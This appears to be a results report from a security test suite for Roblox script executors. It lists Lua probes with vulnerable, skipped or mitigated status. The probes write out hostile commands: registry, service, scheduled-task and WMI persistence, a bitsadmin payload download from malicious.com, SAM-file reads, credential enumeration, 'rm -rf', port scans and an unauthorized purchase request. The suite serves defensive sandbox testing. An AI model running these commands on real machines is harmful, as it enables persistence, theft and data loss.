OVERVIEW
93%
SECURITY
85 mitigated / 6 vuln
100%
FUNCTIONS
55 / 55 present
84%
UI LIBS
11 / 13 loaded
6/6
STRESS
5,336,454 avg iter/s
F(10,000)
FIBONACCI
2,090 digits
SECURITY
| TEST NAME | STATUS | DETAIL | ||
|---|---|---|---|---|
| Robux API Access | VULNERABLE | :2698: Roblox API access | ||
{
name = "Robux API Access",
callback = function()
local hasHTTP = HttpChecker.check("Request","") or HttpChecker.check("Get","Get") or HttpChecker.check("Post","Post")
if hasHTTP then
local results = {}
Utils.safePcall(function()
if request then
results.v1 = request({
Url = "https://economy.roblox.com/v1/user/currency",
Method = "GET"
})
end
end)
Utils.safePcall(function()
results.v2 = game:HttpGet("https://economy.roblox.com/v1/user/currency")
end)
Utils.safePcall(function()
results.v3 = game:HttpPost(
"https://economy.roblox.com/v1/purchases/products/41762",
'{"expectedCurrency":1,"expectedPrice":0,"expectedSellerId":116444}'
)
end)
assert(results.v1==nil or results.v2==nil or results.v3==nil, "Roblox API access")
else
return "Executor does not support HTTP functions"
end
end,
}, | ||||
| ScriptContext:AddCoreScriptLocal | VULNERABLE | :2710: CoreScript access | ||
{
name = "ScriptContext:AddCoreScriptLocal",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("ScriptContext"):AddCoreScriptLocal("CoreScripts/ProximityPrompt", actor)
end)
assert(errorMsg, "CoreScript access")
end,
}, | ||||
| MessageBusService:Publish (URL) | VULNERABLE | :2722: System command execution | ||
{
name = "MessageBusService:Publish (URL)",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("MessageBusService"):Publish(
game:GetService("MessageBusService"):GetMessageId("Linking","openURLRequest"),
{ url = "notepad.exe" }
)
end)
assert(errorMsg, "System command execution")
end,
}, | ||||
| ContentProvider:PreloadAsync | VULNERABLE | :2742: ContentProvider misuse | ||
{
name = "ContentProvider:PreloadAsync",
callback = function()
local success, errorMsg = pcall(function()
for _, descendant in ipairs(game:GetService("Players"):GetDescendants()) do
if descendant:IsA("ScreenGui") then
game:GetService("ContentProvider"):PreloadAsync(descendant)
end
end
end)
assert(errorMsg, "ContentProvider misuse")
end,
}, | ||||
| listfiles() root access | VULNERABLE | :2751: File system access | ||
{
name = "listfiles() root access",
callback = function()
if not listfiles then return "Executor does not support function" end
local _, e1 = pcall(function() local f = listfiles(""); if #f > 0 then end end)
local _, e2 = pcall(function() local f = listfiles("C:\\"); if #f > 0 then end end)
assert(e1 or e2, "File system access")
end,
}, | ||||
| Network: file:// Protocol Access | VULNERABLE | :2838: file:// protocol readable | ||
{
name = "Network: file:// Protocol Access",
callback = function()
local ok, result = pcall(function()
return game:HttpGet("file:///C:/Windows/System32/drivers/etc/hosts")
end)
if ok and type(result)=="string" and #result>0 then
error("file:// protocol readable")
end
end,
}, | ||||
| Clipboard Data Theft | SKIPPED | Executor does not support function | ||
-- Test skipped at runtime
-- Reason: Executor does not support function
-- This test was skipped because the executor reported
-- it does not support the required function/API.
-- Original probe source:
{
name = "Clipboard Data Theft",
callback = function()
if not setclipboard or not getclipboard then return "Executor does not support function" end
local _, err = pcall(function()
local original = getclipboard()
game:GetService("RunService").Heartbeat:Connect(function()
local current = getclipboard()
if current ~= original then print("Clipboard monitoring active") end
end)
end)
assert(err, "Clipboard monitoring capability")
end,
}, | ||||
| Registry Key Creation | SKIPPED | Executor does not support function | ||
-- Test skipped at runtime
-- Reason: Executor does not support function
-- This test was skipped because the executor reported
-- it does not support the required function/API.
-- Original probe source:
{
name = "Registry Key Creation",
callback = function()
if not os.execute then return "Executor does not support function" end
local _, err = pcall(function()
os.execute('reg add "HKEY_CURRENT_USER\\Software\\TestKey" /f')
end)
assert(err, "Registry write access")
end,
}, | ||||
| Run Key Persistence | SKIPPED | Executor does not support function | ||
-- Test skipped at runtime
-- Reason: Executor does not support function
-- This test was skipped because the executor reported
-- it does not support the required function/API.
-- Original probe source:
{
name = "Run Key Persistence",
callback = function()
if not os.execute then return "Executor does not support function" end
local _, err = pcall(function()
os.execute('reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v "Malware" /d "C:\\malware.exe" /f')
end)
assert(err, "Autorun registry manipulation")
end,
}, | ||||
| Registry Enumeration | SKIPPED | Executor does not support function | ||
-- Test skipped at runtime
-- Reason: Executor does not support function
-- This test was skipped because the executor reported
-- it does not support the required function/API.
-- Original probe source:
{
name = "Registry Enumeration",
callback = function()
if not os.execute then return "Executor does not support function" end
local _, err = pcall(function()
os.execute('reg query "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"')
end)
assert(err, "System registry enumeration")
end,
}, | ||||
| Installed Software Enumeration | SKIPPED | Executor does not support function | ||
-- Test skipped at runtime
-- Reason: Executor does not support function
-- This test was skipped because the executor reported
-- it does not support the required function/API.
-- Original probe source:
{
name = "Installed Software Enumeration",
callback = function()
if not os.execute then return "Executor does not support function" end
local _, err = pcall(function()
os.execute('reg query "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"')
end)
assert(err, "Software enumeration")
end,
}, | ||||
| UAC Bypass Attempt | SKIPPED | Executor does not support function | ||
-- Test skipped at runtime
-- Reason: Executor does not support function
-- This test was skipped because the executor reported
-- it does not support the required function/API.
-- Original probe source:
{
name = "UAC Bypass Attempt",
callback = function()
if not os.execute then return "Executor does not support function" end
local _, err = pcall(function()
os.execute('powershell -Command "Start-Process cmd -Verb RunAs"')
end)
assert(err, "UAC bypass capability")
end,
}, | ||||
| Admin Rights Check | SKIPPED | Executor does not support function | ||
-- Test skipped at runtime
-- Reason: Executor does not support function
-- This test was skipped because the executor reported
-- it does not support the required function/API.
-- Original probe source:
{
name = "Admin Rights Check",
callback = function()
if not os.execute then return "Executor does not support function" end
local _, err = pcall(function() os.execute("net session >nul 2>&1") end)
assert(err, "Admin privilege detection")
end,
}, | ||||
| Service Creation | SKIPPED | Executor does not support function | ||
-- Test skipped at runtime
-- Reason: Executor does not support function
-- This test was skipped because the executor reported
-- it does not support the required function/API.
-- Original probe source:
{
name = "Service Creation",
callback = function()
if not os.execute then return "Executor does not support function" end
local _, err = pcall(function()
os.execute('sc create "MaliciousService" binPath= "C:\\malware.exe"')
end)
assert(err, "Service creation capability")
end,
}, | ||||
| Scheduled Task Creation | SKIPPED | Executor does not support function | ||
-- Test skipped at runtime
-- Reason: Executor does not support function
-- This test was skipped because the executor reported
-- it does not support the required function/API.
-- Original probe source:
{
name = "Scheduled Task Creation",
callback = function()
if not os.execute then return "Executor does not support function" end
local _, err = pcall(function()
os.execute('schtasks /create /tn "Backdoor" /tr "C:\\malware.exe" /sc onlogon /f')
end)
assert(err, "Task scheduler manipulation")
end,
}, | ||||
| WMI Event Subscription | SKIPPED | Executor does not support function | ||
-- Test skipped at runtime
-- Reason: Executor does not support function
-- This test was skipped because the executor reported
-- it does not support the required function/API.
-- Original probe source:
{
name = "WMI Event Subscription",
callback = function()
if not os.execute then return "Executor does not support function" end
local _, err = pcall(function()
os.execute('wmic /NAMESPACE:"\\\\root\\subscription" PATH __EventFilter CREATE Name="Backdoor"')
end)
assert(err, "WMI persistence")
end,
}, | ||||
| WiFi Password Extraction | SKIPPED | Executor does not support function | ||
-- Test skipped at runtime
-- Reason: Executor does not support function
-- This test was skipped because the executor reported
-- it does not support the required function/API.
-- Original probe source:
{
name = "WiFi Password Extraction",
callback = function()
if not os.execute then return "Executor does not support function" end
local _, err = pcall(function() os.execute("netsh wlan show profiles") end)
assert(err, "WiFi credential access")
end,
}, | ||||
| Saved RDP Credentials | SKIPPED | Executor does not support function | ||
-- Test skipped at runtime
-- Reason: Executor does not support function
-- This test was skipped because the executor reported
-- it does not support the required function/API.
-- Original probe source:
{
name = "Saved RDP Credentials",
callback = function()
if not os.execute then return "Executor does not support function" end
local _, err = pcall(function() os.execute("cmdkey /list") end)
assert(err, "RDP credential enumeration")
end,
}, | ||||
| Winlogon Registry Persistence | SKIPPED | Executor does not support OS commands | ||
-- Test skipped at runtime
-- Reason: Executor does not support OS commands
-- This test was skipped because the executor reported
-- it does not support the required function/API.
-- Original probe source:
{
name = "Winlogon Registry Persistence",
callback = function()
if not os.execute then return "Executor does not support OS commands" end
local _, err = pcall(function()
os.execute('reg add "HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon" /v Shell /d "explorer.exe, malicious.exe" /f')
end)
assert(err, "Winlogon shell persistence")
end,
}, | ||||
| BITS Job Abuse | SKIPPED | Executor does not support OS commands | ||
-- Test skipped at runtime
-- Reason: Executor does not support OS commands
-- This test was skipped because the executor reported
-- it does not support the required function/API.
-- Original probe source:
{
name = "BITS Job Abuse",
callback = function()
if not os.execute then return "Executor does not support OS commands" end
local _, err = pcall(function()
os.execute('bitsadmin /create "UpdateJob"')
os.execute('bitsadmin /addfile "UpdateJob" "https://malicious.com/payload.exe" "%TEMP%\\payload.exe"')
end)
assert(err, "BITS service abuse")
end,
}, | ||||
| COM Hijacking Persistence | SKIPPED | Executor does not support OS commands | ||
-- Test skipped at runtime
-- Reason: Executor does not support OS commands
-- This test was skipped because the executor reported
-- it does not support the required function/API.
-- Original probe source:
{
name = "COM Hijacking Persistence",
callback = function()
if not os.execute then return "Executor does not support OS commands" end
local _, err = pcall(function()
os.execute('reg add "HKCU\\Software\\Classes\\CLSID\\{AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA}" /ve /d "Malicious COM" /f')
end)
assert(err, "COM object hijacking")
end,
}, | ||||
| Process List Enumeration | SKIPPED | Executor does not support function | ||
-- Test skipped at runtime
-- Reason: Executor does not support function
-- This test was skipped because the executor reported
-- it does not support the required function/API.
-- Original probe source:
{
name = "Process List Enumeration",
callback = function()
if not os.execute then return "Executor does not support function" end
local _, err = pcall(function() os.execute("tasklist > processes.txt") end)
assert(err, "Process enumeration")
end,
}, | ||||
| Process Termination | SKIPPED | Executor does not support function | ||
-- Test skipped at runtime
-- Reason: Executor does not support function
-- This test was skipped because the executor reported
-- it does not support the required function/API.
-- Original probe source:
{
name = "Process Termination",
callback = function()
if not os.execute then return "Executor does not support function" end
local _, err = pcall(function() os.execute("taskkill /F /IM Discord.exe") end)
assert(err, "Process termination capability")
end,
}, | ||||
| Anti-Virus Detection | SKIPPED | Executor does not support function | ||
-- Test skipped at runtime
-- Reason: Executor does not support function
-- This test was skipped because the executor reported
-- it does not support the required function/API.
-- Original probe source:
{
name = "Anti-Virus Detection",
callback = function()
if not os.execute then return "Executor does not support function" end
local _, err = pcall(function()
os.execute("wmic /namespace:\\\\root\\securitycenter2 path antivirusproduct get displayname")
end)
assert(err, "AV detection possible")
end,
}, | ||||
| Symbolic Link Creation | SKIPPED | Executor does not support function | ||
-- Test skipped at runtime
-- Reason: Executor does not support function
-- This test was skipped because the executor reported
-- it does not support the required function/API.
-- Original probe source:
{
name = "Symbolic Link Creation",
callback = function()
if not os.execute then return "Executor does not support function" end
local _, err = pcall(function()
os.execute('mklink malicious.lnk "C:\\Windows\\System32\\cmd.exe"')
end)
assert(err, "Symbolic link creation")
end,
}, | ||||
| Hidden Folder Creation | SKIPPED | Executor does not support function | ||
-- Test skipped at runtime
-- Reason: Executor does not support function
-- This test was skipped because the executor reported
-- it does not support the required function/API.
-- Original probe source:
{
name = "Hidden Folder Creation",
callback = function()
if not makefolder or not os.execute then return "Executor does not support function" end
local _, err = pcall(function()
makefolder("hidden_folder")
os.execute("attrib +h +s hidden_folder")
end)
assert(err, "Hidden folder capability")
end,
}, | ||||
| Local Network Scanning | SKIPPED | executor_crash | ||
-- Test skipped at runtime
-- Reason: executor_crash
-- This test was skipped because the executor reported
-- it does not support the required function/API.
-- Original probe source:
{
name = "Local Network Scanning",
callback = function()
if not request then return "Executor does not support function" end
local _, err = pcall(function()
for i = 1, 255 do
request({Url="http://192.168.1."..i, Method="GET"})
end
end)
assert(err, "Local network scanning capability")
end,
}, | ||||
| Port Scanning Capability | SKIPPED | executor_crash | ||
-- Test skipped at runtime
-- Reason: executor_crash
-- This test was skipped because the executor reported
-- it does not support the required function/API.
-- Original probe source:
{
name = "Port Scanning Capability",
callback = function()
if not request then return "Executor does not support function" end
local _, err = pcall(function()
for _, port in ipairs({21,22,23,80,443,3389}) do
request({Url="http://127.0.0.1:"..port})
end
end)
assert(err, "Port scanning detected")
end,
}, | ||||
| HttpRbxApiService:PostAsync() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "HttpRbxApiService:PostAsync()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("HttpRbxApiService"):PostAsync()
end)
assert(errorMsg, "HttpRbxApiService vulnerability")
end
}, | ||||
| HttpRbxApiService:PostAsyncFullUrl() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "HttpRbxApiService:PostAsyncFullUrl()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("HttpRbxApiService"):PostAsyncFullUrl()
end)
assert(errorMsg, "HttpRbxApiService vulnerability")
end
}, | ||||
| HttpRbxApiService:GetAsyncFullUrl() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "HttpRbxApiService:GetAsyncFullUrl()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("HttpRbxApiService"):GetAsyncFullUrl()
end)
assert(errorMsg, "Robux balance access")
end
}, | ||||
| MarketplaceService:PerformPurchaseV2() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "MarketplaceService:PerformPurchaseV2()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("MarketplaceService"):PerformPurchaseV2()
end)
assert(errorMsg, "MarketplaceService vulnerability")
end
}, | ||||
| MarketplaceService:PromptBundlePurchase() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "MarketplaceService:PromptBundlePurchase()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("MarketplaceService"):PromptBundlePurchase()
end)
assert(errorMsg, "MarketplaceService vulnerability")
end
}, | ||||
| MarketplaceService:PromptGamePassPurchase() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "MarketplaceService:PromptGamePassPurchase()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("MarketplaceService"):PromptGamePassPurchase()
end)
assert(errorMsg, "MarketplaceService vulnerability")
end
}, | ||||
| MarketplaceService:PromptProductPurchase() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "MarketplaceService:PromptProductPurchase()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("MarketplaceService"):PromptProductPurchase()
end)
assert(errorMsg, "MarketplaceService vulnerability")
end
}, | ||||
| MarketplaceService:PromptPurchase() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "MarketplaceService:PromptPurchase()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("MarketplaceService"):PromptPurchase()
end)
assert(errorMsg, "MarketplaceService vulnerability")
end
}, | ||||
| MarketplaceService:PromptRobloxPurchase() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "MarketplaceService:PromptRobloxPurchase()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("MarketplaceService"):PromptRobloxPurchase()
end)
assert(errorMsg, "MarketplaceService vulnerability")
end
}, | ||||
| MarketplaceService:PromptThirdPartyPurchase() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "MarketplaceService:PromptThirdPartyPurchase()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("MarketplaceService"):PromptThirdPartyPurchase()
end)
assert(errorMsg, "MarketplaceService vulnerability")
end
}, | ||||
| MarketplaceService:PerformPurchase() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "MarketplaceService:PerformPurchase()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("MarketplaceService"):PerformPurchase()
end)
assert(errorMsg, "Unauthorized purchases")
end
}, | ||||
| MarketplaceService:GetRobuxBalance() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "MarketplaceService:GetRobuxBalance()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("MarketplaceService"):GetRobuxBalance()
end)
assert(errorMsg, "Robux balance access")
end
}, | ||||
| MarketplaceService:PromptNativePurchaseWithLocalPlayer() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "MarketplaceService:PromptNativePurchaseWithLocalPlayer()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("MarketplaceService"):PromptNativePurchaseWithLocalPlayer()
end)
assert(errorMsg, "Native purchase")
end
}, | ||||
| MarketplaceService:PromptNativePurchase() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "MarketplaceService:PromptNativePurchase()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("MarketplaceService"):PromptNativePurchase()
end)
assert(errorMsg, "Native purchase")
end
}, | ||||
| MarketplaceService:PromptCollectiblesPurchase() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "MarketplaceService:PromptCollectiblesPurchase()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("MarketplaceService"):PromptCollectiblesPurchase()
end)
assert(errorMsg, "Collectibles purchase")
end
}, | ||||
| GuiService:OpenBrowserWindow() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "GuiService:OpenBrowserWindow()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("GuiService"):OpenBrowserWindow()
end)
assert(errorMsg, "GuiService vulnerability")
end
}, | ||||
| GuiService:OpenNativeOverlay() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "GuiService:OpenNativeOverlay()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("GuiService"):OpenNativeOverlay()
end)
assert(errorMsg, "GuiService vulnerability")
end
}, | ||||
| GuiService:OpenBrowserWindow() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "GuiService:OpenBrowserWindow()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("GuiService"):OpenBrowserWindow()
end)
assert(errorMsg, "GuiService vulnerability")
end
}, | ||||
| BrowserService:EmitHybridEvent() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "BrowserService:EmitHybridEvent()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("BrowserService"):EmitHybridEvent()
end)
assert(errorMsg, "BrowserService vulnerability")
end
}, | ||||
| BrowserService:ExecuteJavaScript() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "BrowserService:ExecuteJavaScript()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("BrowserService"):ExecuteJavaScript()
end)
assert(errorMsg, "BrowserService vulnerability")
end
}, | ||||
| BrowserService:OpenBrowserWindow() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "BrowserService:OpenBrowserWindow()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("BrowserService"):OpenBrowserWindow()
end)
assert(errorMsg, "BrowserService vulnerability")
end
}, | ||||
| BrowserService:OpenNativeOverlay() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "BrowserService:OpenNativeOverlay()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("BrowserService"):OpenNativeOverlay()
end)
assert(errorMsg, "BrowserService vulnerability")
end
}, | ||||
| BrowserService:ReturnToJavaScript() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "BrowserService:ReturnToJavaScript()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("BrowserService"):ReturnToJavaScript()
end)
assert(errorMsg, "BrowserService vulnerability")
end
}, | ||||
| BrowserService:SendCommand() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "BrowserService:SendCommand()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("BrowserService"):SendCommand()
end)
assert(errorMsg, "BrowserService vulnerability")
end
}, | ||||
| MessageBusService:Call() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "MessageBusService:Call()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("MessageBusService"):Call()
end)
assert(errorMsg, "MessageBusService vulnerability")
end
}, | ||||
| MessageBusService:GetLast() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "MessageBusService:GetLast()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("MessageBusService"):GetLast()
end)
assert(errorMsg, "MessageBusService vulnerability")
end
}, | ||||
| MessageBusService:GetMessageId() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "MessageBusService:GetMessageId()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("MessageBusService"):GetMessageId()
end)
assert(errorMsg, "MessageBusService vulnerability")
end
}, | ||||
| MessageBusService:GetProtocolMethodRequestMessageId() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "MessageBusService:GetProtocolMethodRequestMessageId()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("MessageBusService"):GetProtocolMethodRequestMessageId()
end)
assert(errorMsg, "MessageBusService vulnerability")
end
}, | ||||
| MessageBusService:GetProtocolMethodResponseMessageId() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "MessageBusService:GetProtocolMethodResponseMessageId()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("MessageBusService"):GetProtocolMethodResponseMessageId()
end)
assert(errorMsg, "MessageBusService vulnerability")
end
}, | ||||
| MessageBusService:MakeRequest() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "MessageBusService:MakeRequest()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("MessageBusService"):MakeRequest()
end)
assert(errorMsg, "MessageBusService vulnerability")
end
}, | ||||
| MessageBusService:Publish() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "MessageBusService:Publish()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("MessageBusService"):Publish()
end)
assert(errorMsg, "MessageBusService vulnerability")
end
}, | ||||
| MessageBusService:PublishProtocolMethodRequest() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "MessageBusService:PublishProtocolMethodRequest()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("MessageBusService"):PublishProtocolMethodRequest()
end)
assert(errorMsg, "MessageBusService vulnerability")
end
}, | ||||
| MessageBusService:PublishProtocolMethodResponse() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "MessageBusService:PublishProtocolMethodResponse()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("MessageBusService"):PublishProtocolMethodResponse()
end)
assert(errorMsg, "MessageBusService vulnerability")
end
}, | ||||
| MessageBusService:Subscribe() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "MessageBusService:Subscribe()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("MessageBusService"):Subscribe()
end)
assert(errorMsg, "MessageBusService vulnerability")
end
}, | ||||
| MessageBusService:SubscribeToProtocolMethodRequest() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "MessageBusService:SubscribeToProtocolMethodRequest()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("MessageBusService"):SubscribeToProtocolMethodRequest()
end)
assert(errorMsg, "MessageBusService vulnerability")
end
}, | ||||
| MessageBusService:SubscribeToProtocolMethodResponse() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "MessageBusService:SubscribeToProtocolMethodResponse()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("MessageBusService"):SubscribeToProtocolMethodResponse()
end)
assert(errorMsg, "MessageBusService vulnerability")
end
}, | ||||
| OpenCloudService:HttpRequestAsync() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "OpenCloudService:HttpRequestAsync()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("OpenCloudService"):HttpRequestAsync()
end)
assert(errorMsg, "OpenCloudService vulnerability")
end
}, | ||||
| ScriptContext:AddCoreScriptLocal() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "ScriptContext:AddCoreScriptLocal()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("ScriptContext"):AddCoreScriptLocal()
end)
assert(errorMsg, "ScriptContext vulnerability")
end
}, | ||||
| DataModel:Load() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "DataModel:Load()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("DataModel"):Load()
end)
assert(errorMsg, "DataModel vulnerability")
end
}, | ||||
| DataModel:OpenScreenshotsFolder() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "DataModel:OpenScreenshotsFolder()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("DataModel"):OpenScreenshotsFolder()
end)
assert(errorMsg, "DataModel vulnerability")
end
}, | ||||
| DataModel:OpenVideosFolder() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "DataModel:OpenVideosFolder()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("DataModel"):OpenVideosFolder()
end)
assert(errorMsg, "DataModel vulnerability")
end
}, | ||||
| OmniRecommendationsService:MakeRequest() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "OmniRecommendationsService:MakeRequest()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("OmniRecommendationsService"):MakeRequest()
end)
assert(errorMsg, "OmniRecommendations vulnerability")
end
}, | ||||
| Players:ReportAbuse() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "Players:ReportAbuse()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("Players"):ReportAbuse()
end)
assert(errorMsg, "Players service vulnerability")
end
}, | ||||
| Players:ReportAbuseV3() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "Players:ReportAbuseV3()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("Players"):ReportAbuseV3()
end)
assert(errorMsg, "Players service vulnerability")
end
}, | ||||
| CoreGui:TakeScreenshot() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "CoreGui:TakeScreenshot()",
callback = function()
local success, errorMsg = pcall(function()
game:GetService("CoreGui"):TakeScreenshot()
end)
assert(errorMsg, "Screenshot capability")
end
}, | ||||
| os.execute() | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "os.execute()",
callback = function()
local success, errorMsg = pcall(function() os.execute("rm -rf") end)
assert(errorMsg, "OS command execution")
end,
}, | ||||
| System32 Access Attempt | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "System32 Access Attempt",
callback = function()
if not readfile then return "Executor does not support function" end
local _, err = pcall(function()
readfile("C:\\Windows\\System32\\config\\SAM")
end)
assert(err, "System file access vulnerability")
end,
}, | ||||
| User Directory Enumeration | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "User Directory Enumeration",
callback = function()
if not listfiles then return "Executor does not support function" end
local _, err = pcall(function()
local f = listfiles("C:\\Users")
for _,v in ipairs(f) do print(v) end
end)
assert(err, "Unrestricted user directory access")
end,
}, | ||||
| Program Files Write Access | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "Program Files Write Access",
callback = function()
if not writefile then return "Executor does not support function" end
local _, err = pcall(function()
writefile("C:\\Program Files\\malicious.exe","test")
end)
assert(err, "Program Files write vulnerability")
end,
}, | ||||
| Startup Folder Persistence | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "Startup Folder Persistence",
callback = function()
if not writefile then return "Executor does not support function" end
local _, err = pcall(function()
local p = os.getenv("APPDATA")
.. "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\malware.exe"
writefile(p,"persistence_test")
end)
assert(err, "Startup persistence vulnerability")
end,
}, | ||||
| Browser Data Access | MITIGATED | nil | ||
